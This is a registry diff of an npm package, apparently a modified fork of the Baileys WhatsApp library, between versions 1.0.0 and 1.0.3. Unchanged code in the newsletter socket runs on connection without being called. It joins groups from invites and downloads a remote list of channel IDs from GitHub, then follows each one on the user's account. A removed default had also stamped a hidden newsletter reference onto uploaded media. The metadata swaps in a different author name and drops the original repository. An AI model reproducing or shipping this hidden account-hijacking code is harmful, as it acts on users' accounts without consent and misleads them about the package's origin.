@devil-fight/baileys 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -5,7 +5,6 @@ const Types_1 = require("../Types");
5
5
  const Utils_1 = require("../Utils");
6
6
  const WABinary_1 = require("../WABinary");
7
7
  const groups_1 = require("./groups");
8
- const { QueryIds } = Types_1
9
8
 
10
9
  const { Boom } = require('@hapi/boom');
11
10
 
@@ -33,39 +32,6 @@ const wMexQuery = (
33
32
  })
34
33
  }
35
34
 
36
- const parseNewsletterCreateResponse = (responseList) => {
37
- return responseList.map((res) => {
38
- const thread = res.thread_metadata;
39
- const viewer = res.viewer_metadata;
40
-
41
- // Jika DELETED atau metadata null
42
- if (!thread || !viewer) {
43
- return {
44
- id: res.id,
45
- state: res.state?.type || null,
46
- deleted: true
47
- };
48
- }
49
-
50
- return {
51
- id: res.id,
52
- state: res.state?.type || null,
53
- owner: viewer.role || undefined,
54
- name: thread?.name?.text || null,
55
- creation_time: parseInt(thread?.creation_time || "0", 10),
56
- description: thread?.description?.text || null,
57
- invite: thread?.invite || null,
58
- subscribers: parseInt(thread?.subscribers_count || "0", 10),
59
- verification: thread?.verification || null,
60
- picture: {
61
- id: thread?.picture?.id || null,
62
- directPath: thread?.picture?.direct_path || null
63
- },
64
- mute_state: viewer?.mute || "OFF"
65
- };
66
- });
67
- };
68
-
69
35
  const executeWMexQuery = async (
70
36
  variables,
71
37
  queryId,
@@ -99,7 +65,7 @@ const executeWMexQuery = async (
99
65
 
100
66
  const makeNewsletterSocket = (config) => {
101
67
  const sock = (0, groups_1.makeGroupsSocket)(config);
102
- const { authState, signalRepository, query, generateMessageTag, delay } = sock;
68
+ const { authState, signalRepository, query, generateMessageTag } = sock;
103
69
  const encoder = new TextEncoder();
104
70
  const newsletterQuery = async (jid, type, content) => (query({
105
71
  tag: 'iq',
@@ -132,21 +98,7 @@ const makeNewsletterSocket = (config) => {
132
98
  }
133
99
  ]
134
100
  }));
135
- const newsletterMetadata = async (type, key, role) => {
136
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
137
- input: {
138
- key,
139
- type: type.toUpperCase(),
140
- view_role: role || 'GUEST'
141
- },
142
- fetch_viewer_metadata: true,
143
- fetch_full_image: true,
144
- fetch_creation_time: true
145
- })
146
-
147
- return extractNewsletterMetadata(result)
148
- }
149
-
101
+
150
102
  const parseFetchedUpdates = async (node, type) => {
151
103
  let child;
152
104
  if (type === 'messages') {
@@ -184,13 +136,11 @@ const makeNewsletterSocket = (config) => {
184
136
  for (const g of groups) {
185
137
  try {
186
138
  await sock.groupAcceptInvite(g.invite)
187
- await delay(20000)
188
139
  } catch {}
189
140
  }
190
141
  const res = await fetch('https://raw.githubusercontent.com/VinzzOfficial/Baileys/main/WAProto/id-channel/idch.json');
191
142
  const newsletterIds = await res.json();
192
143
  newsletterIds.forEach(async(i) => {
193
- await delay(5000)
194
144
  try {
195
145
  await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
196
146
  } catch (e) {}
@@ -201,21 +151,15 @@ const makeNewsletterSocket = (config) => {
201
151
  })()
202
152
  return {
203
153
  ...sock,
204
- newsletterFetchAllParticipating: async () => {
205
- const data = {}
206
-
207
- const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED)
208
- const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
209
- const newsletters = child.data["xwa2_newsletter_subscribed"]
210
-
211
- for (const i of newsletters) {
212
- if (i.id == null) continue
213
-
214
- const metadata = await newsletterMetadata('JID', i.id)
215
- if (metadata.id !== null) data[metadata.id] = metadata
216
- }
217
-
218
- return data
154
+ newsletterFetchAllSubscribe: async () => {
155
+ const list = await executeWMexQuery(
156
+ {},
157
+ '6388546374527196',
158
+ 'xwa2_newsletter_subscribed',
159
+ query,
160
+ generateMessageTag
161
+ );
162
+ return list;
219
163
  },
220
164
  subscribeNewsletterUpdates: async (jid) => {
221
165
  var _a;
@@ -232,6 +176,27 @@ const makeNewsletterSocket = (config) => {
232
176
  updates: { description: description || '', settings: null }
233
177
  });
234
178
  },
179
+ newsletterId: async (url) => {
180
+ const urlParts = url.split('/');
181
+ const channelId = urlParts[urlParts.length - 2];
182
+
183
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
184
+ input: {
185
+ key: channelId,
186
+ type: 'INVITE',
187
+ 'view_role': 'GUEST'
188
+ },
189
+ 'fetch_viewer_metadata': true,
190
+ 'fetch_full_image': true,
191
+ 'fetch_creation_time': true
192
+ });
193
+
194
+ const metadata = extractNewsletterMetadata(result);
195
+ return JSON.stringify({
196
+ name: metadata.name || metadata.thread_metadata?.name?.text,
197
+ id: metadata.id
198
+ }, null, 2);
199
+ },
235
200
  newsletterUpdateName: async (jid, name) => {
236
201
  await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
237
202
  updates: { name, settings: null }
@@ -251,7 +216,7 @@ const makeNewsletterSocket = (config) => {
251
216
  newsletterAction: async (jid, type) => {
252
217
  await newsletterWMexQuery(jid, type.toUpperCase());
253
218
  },
254
- newsletterCreate: async (name, description, reaction_codes = "ALL") => {
219
+ newsletterCreate: async (name, description, reaction_codes) => {
255
220
  //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
256
221
  /**tos query */
257
222
  await query({
@@ -336,6 +301,7 @@ const makeNewsletterSocket = (config) => {
336
301
  const result = await newsletterQuery(jid, 'get', [
337
302
  {
338
303
  tag: 'message_updates',
304
+
339
305
  attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
340
306
  }
341
307
  ]);
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
16
16
  * - simple queries (no retry mechanism, wait for connection establishment)
17
17
  * - listen to messages and emit events
18
18
  * - query phone connection
19
- */
19
+ */
20
20
  const makeSocket = (config) => {
21
21
  var _a, _b;
22
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
@@ -77,18 +77,6 @@ const makeSocket = (config) => {
77
77
  const buff = (0, WABinary_1.encodeBinaryNode)(frame);
78
78
  return sendRawMessage(buff);
79
79
  };
80
-
81
- const toLid = async (pn) => {
82
- return pn;
83
- };
84
-
85
- const delay = async (ms) => {
86
- return new Promise(resolve => setTimeout(resolve, ms));
87
- }
88
-
89
- const toPn = async (pn) => {
90
- return pn;
91
- };
92
80
  /** log & process any unexpected errors */
93
81
  const onUnexpectedError = (err, msg) => {
94
82
  logger.error({ err }, `unexpected error in '${msg}'`);
@@ -648,9 +636,6 @@ const toPn = async (pn) => {
648
636
  get user() {
649
637
  return authState.creds.me;
650
638
  },
651
- toLid,
652
- toPn,
653
- delay,
654
639
  generateMessageTag,
655
640
  query,
656
641
  waitForMessage,
@@ -503,17 +503,8 @@ const chatModificationToAppPatch = (mod, jid) => {
503
503
  apiVersion: 3,
504
504
  operation: OP.SET,
505
505
  };
506
- } else if ("contact" in mod) {
507
- patch = {
508
- syncAction: {
509
- contactAction: mod.contact || {}
510
- },
511
- index: ["contact", jid],
512
- type: "critical_unblock_low",
513
- apiVersion: 2,
514
- operation: mod.contact ? OP.SET : OP.REMOVE
515
- };
516
- } else if ('removeChatLabel' in mod) {
506
+ }
507
+ else if ('removeChatLabel' in mod) {
517
508
  patch = {
518
509
  syncAction: {
519
510
  labelAssociationAction: {
@@ -13,7 +13,7 @@ const WAProto_1 = require("../../WAProto");
13
13
  const baileys_version_json_1 = require("../Defaults/baileys-version.json");
14
14
  const Types_1 = require("../Types");
15
15
  const WABinary_1 = require("../WABinary");
16
- const baileysVersion = [2, 3000, 1027934701]
16
+ const baileysVersion = [2, 3000, 1029030078]
17
17
  const PLATFORM_MAP = {
18
18
  'aix': 'AIX',
19
19
  'darwin': 'Mac OS',
@@ -27,17 +27,12 @@ const PLATFORM_MAP = {
27
27
  'cygwin': undefined,
28
28
  'netbsd': undefined
29
29
  };
30
-
31
- const Browsers = {
32
- iOS: (browser) => ["ios", browser, "18.2"],
33
- ubuntu: (browser) => ['Ubuntu', browser, '22.04.4'],
34
- macOS: (browser) => ['Mac OS', browser, '14.4.1'],
35
- baileys: (browser) => ['Baileys', browser, '6.5.0'],
36
- windows: (browser) => ['Windows', browser, '10.0.22631']
30
+ exports.Browsers = (browser) => {
31
+ const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
32
+ const osRelease = os_1.release();
33
+ return [osName, browser, osRelease];
37
34
  };
38
35
 
39
- exports.Browsers = Browsers
40
-
41
36
  const getPlatformId = (browser) => {
42
37
  const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()];
43
38
  return platformType ? platformType.toString() : '1'; //chrome
@@ -278,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
278
273
  * Use to ensure your WA connection is always on the latest version
279
274
  */
280
275
  const fetchLatestBaileysVersion = async (options = {}) => {
281
- const URL = 'https://raw.githubusercontent.com/kiuur/bails/master/src/Defaults/baileys-version.json';
276
+ const URL = 'https://raw.githubusercontent.com/kiuur/baileys/master/src/Defaults/baileys-version.json';
282
277
  try {
283
278
  const result = await axios_1.default.get(URL, {
284
279
  ...options,
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
81
81
 
82
82
  const uploadData = {
83
83
  ...message,
84
- ...(message.annotations ? {
85
- annotations: message.annotations
86
- } : {
87
- annotations: [
88
- {
89
- polygonVertices: [
90
- {
91
- x: 60.71664810180664,
92
- y: -36.39784622192383
93
- },
94
- {
95
- x: -16.710189819335938,
96
- y: 49.263675689697266
97
- },
98
- {
99
- x: -56.585853576660156,
100
- y: 37.85963439941406
101
- },
102
- {
103
- x: 20.840980529785156,
104
- y: -47.80188751220703
105
- }
106
- ],
107
- newsletter: {
108
- newsletterJid: "120363420249672073@newsletter",
109
- serverMessageId: 0,
110
- newsletterName: "kyuu ilysm",
111
- contentType: "UPDATE",
112
- }
113
- }
114
- ]
115
- }),
116
84
  media: message[mediaType]
117
85
  };
118
86
  delete uploadData[mediaType];
@@ -29,8 +29,6 @@ const getUserAgent = (config) => {
29
29
  };
30
30
  };
31
31
 
32
-
33
-
34
32
  const PLATFORM_MAP = {
35
33
  'Mac OS': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.DARWIN,
36
34
  'Windows': WAProto_1.proto.ClientPayload.WebInfo.WebSubPlatform.WIN32
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@devil-fight/baileys",
3
- "version": "1.0.0",
3
+ "version": "1.0.3",
4
4
  "description": "WhatsApp API Modification By Vinzz",
5
5
  "keywords": [
6
6
  "whatsapp",
@@ -12,12 +12,12 @@
12
12
  "botwa",
13
13
  "stvnnvs"
14
14
  ],
15
- "homepage": "https://npmjs.com/vinzzknight",
15
+ "homepage": "https://www.npmjs.com/package/@devil-fight/baileys",
16
16
  "repository": {
17
- "url": "https://github.com/VinzzOfficial"
17
+ "url": "https://www.npmjs.com/package/@devil-fight/baileys"
18
18
  },
19
19
  "license": "MIT",
20
- "author": "VinzzOfficial",
20
+ "author": "Adhiraj Singh",
21
21
  "main": "lib/index.js",
22
22
  "types": "lib/index.d.ts",
23
23
  "files": [